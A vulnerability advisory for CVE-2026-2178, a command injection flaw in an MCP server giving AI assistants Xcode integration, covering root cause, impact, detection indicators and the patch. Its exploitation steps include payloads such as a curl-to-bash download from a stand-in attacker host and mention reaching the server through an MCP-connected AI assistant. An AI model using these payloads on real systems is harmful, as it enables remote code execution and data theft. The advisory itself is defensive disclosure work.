CVE-2026-2178: 
JavaScript vulnerability analysis and mitigation

CVE-2026-2178 is a command injection vulnerability in r-huijts xcode-mcp-server, an MCP (Model Context Protocol) server providing Xcode integration for AI assistants. The flaw exists in the registerXcodeTools function within src/tools/xcode/index.ts, specifically in the run_lldb component, where unsanitized user-supplied args are passed to Node.js's child_process.exec(), enabling shell command injection. The vulnerability affects all commits up to and including f3419f00117aa9949e326f78cc940166c88f18cb; as the project uses rolling releases, no discrete version numbers are assigned. It carries a CVSS v3.1 base score of 8.8 (High) and was publicly disclosed on February 8, 2026 (Feedly, GitHub Issue).

The root cause is improper neutralization of special elements in OS commands (CWE-77 / CWE-78), where user-controlled input is interpolated directly into shell command strings executed via Node.js child_process.exec(). Because exec() invokes a shell to parse the command string, shell metacharacters such as &, ;, |, and backticks in the args parameter are interpreted by the shell, allowing arbitrary command execution. The vulnerability is not limited to run_lldb; the security report identified dozens of additional tools — including build_project, run_xcodebuild, pod_install, read_file, write_to_file, boot_simulator, and many others — that share the same unsafe pattern. A public proof-of-concept payload (args: "&ping -c 2 xcode2.dnslog.lexpl0it.xyz&") was included in the disclosure, confirming exploitability (GitHub Issue, GitHub Commit).

Successful exploitation allows an authenticated low-privileged attacker to execute arbitrary OS commands on the host running xcode-mcp-server with the privileges of the server process, resulting in full compromise of confidentiality, integrity, and availability. In local deployments without sandboxing, this equates to arbitrary command execution as the current user; in remote single-tenant deployments, it enables full server RCE; and in multi-tenant SaaS deployments, it could lead to critical cross-tenant compromise and potential full service breach. The broad scope of affected tools — spanning file operations, build pipelines, simulator control, and package management — significantly expands the attack surface (GitHub Issue).

Public proof-of-concept exploit code is available via the GitHub issue tracker, demonstrating out-of-band DNS callback execution using shell metacharacters in the args parameter. The vulnerability requires only low privileges (authenticated MCP client access) and no user interaction, and is exploitable remotely over the network. As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation. The EPSS score is approximately 0.0123 (1.23%), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been made (Feedly, GitHub Issue).

1. Identify target: Locate an exposed xcode-mcp-server instance (local or remote) running a commit at or before f3419f00117aa9949e326f78cc940166c88f18cb. Remote instances may be discoverable via network scanning or MCP registry enumeration.
2. Authenticate: Obtain low-privileged MCP client credentials or access to an MCP-connected AI assistant (e.g., Claude Desktop) configured to use the vulnerable server.
3. Craft malicious payload: Prepare a command injection payload using shell metacharacters. Example: set the args parameter of the run_lldb tool to "&ping -c 2 attacker.dnslog.example.com&" or "; curl http://attacker.com/shell.sh | bash;" to execute arbitrary commands.
4. Invoke vulnerable tool: Send an MCP tool call request targeting run_lldb (or any of the other ~60 affected tools) with the crafted args value. The server passes this unsanitized input to child_process.exec(), which invokes a shell that interprets the injected metacharacters.
5. Achieve code execution: The injected command executes on the server host with the privileges of the Node.js process. Establish a reverse shell, exfiltrate data, or pivot to other systems as needed (GitHub Issue, GitHub Commit).

• Network: Unexpected outbound DNS queries or HTTP/HTTPS connections from the xcode-mcp-server host to unknown external domains (e.g., DNS callback domains like *.dnslog.*); unusual outbound connections on non-standard ports initiated by the Node.js process.
• Process: Unexpected child processes spawned by the Node.js xcode-mcp-server process, such as ping, curl, wget, bash, sh, or python; processes with shell metacharacters in their command-line arguments.
• Logs: MCP server logs showing run_lldb, run_xcodebuild, run_xcrun, or other tool invocations with arguments containing &, ;, |, backticks, or $() subshell syntax; Node.js error logs referencing unexpected command execution failures.
• File System: Unexpected new files, scripts, or cron jobs created in directories accessible to the server process; web shells or backdoors placed in the project directory or system temp folders.

Apply the security patch at commit 11f8d6bacadd153beee649f92a78a9dad761f56f, which refactors all subprocess invocations from child_process.exec() (shell-based) to execFile()/runExecFile() with argument arrays, eliminating shell interpretation of user input entirely. As a workaround prior to patching, restrict network access to the xcode-mcp-server to trusted local networks and authenticated users only, and avoid exposing the server in multi-tenant or public-facing configurations. Monitor for suspicious child process activity on the host as an interim detection measure (GitHub Commit, Feedly).

The vulnerability was covered in a series of blog posts on dev.to by the account kai_security_ai, which contextualized CVE-2026-2178 within a broader trend of command injection CVEs affecting MCP server implementations, with posts titled "MCP Servers Are Getting RCE CVEs," "Seven MCP CVEs in One Month," and "30 CVEs Later: How MCPs Attack Surface Expanded Into Three Distinct Layers." These posts highlight growing community concern about the security maturity of the MCP ecosystem, noting that developers repeatedly make the same mistake of passing user-controlled input to shell-executing functions. Red Hat also tracked the vulnerability in their security advisory database (Red Hat CVE, dev.to MCP RCE, dev.to 30 CVEs).